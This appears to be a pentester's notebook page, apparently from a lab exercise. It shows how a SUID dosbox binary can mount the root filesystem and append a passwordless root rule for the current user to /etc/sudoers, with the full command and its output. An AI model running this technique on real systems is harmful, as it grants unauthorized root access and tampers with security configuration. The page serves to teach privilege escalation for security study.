# dosbox SUID

 With dosbox we can basically mount a folder and then edit it, so if we have SUID. It means that we can edit files that are only editable by root. These could be sudoers, passwd, shadow. 

![](https://3418038199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyTPWZkKJbJfX8uHiRzmn%2Fuploads%2FZ6xiyXJs6Ki9wJLRJSby%2Fimage.png?alt=media\&token=0a749983-8655-4a36-be29-c7d654123b9d)

{% embed url="<https://gtfobins.github.io/gtfobins/dosbox/>" %}

```
[commander@nukem ~]$ export LFILE='/etc/sudoers'
[commander@nukem ~]$ dosbox -c 'mount c /' -c "echo commander ALL=(root) NOPASSWD: ALL >>c:$LFILE"
DOSBox version 0.74-3
Copyright 2002-2019 DOSBox Team, published under GNU GPL.
---
ALSA lib confmisc.c:767:(parse_card) cannot find card '0'
ALSA lib conf.c:4743:(_snd_config_evaluate) function snd_func_card_driver returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4743:(_snd_config_evaluate) function snd_func_concat returned error: No such file or directory
ALSA lib confmisc.c:1246:(snd_func_refer) error evaluating name
ALSA lib conf.c:4743:(_snd_config_evaluate) function snd_func_refer returned error: No such file or directory
ALSA lib conf.c:5231:(snd_config_expand) Evaluate error: No such file or directory
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM default
CONFIG:Loading primary settings from config file /home/commander/.dosbox/dosbox-0.74-3.conf
MIXER:Can't open audio: No available audio device , running in nosound mode.
ALSA:Can't subscribe to MIDI port (65:0) nor (17:0)
MIDI:Opened device:none
SHELL:Redirect output to c:/etc/sudoers
```

Change the name of the user to the one your on right now.&#x20;

![](https://3418038199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyTPWZkKJbJfX8uHiRzmn%2Fuploads%2FpxriHtguitq2AvcAxAar%2Fimage.png?alt=media\&token=289e756a-4735-44b9-a826-77ac687ae995)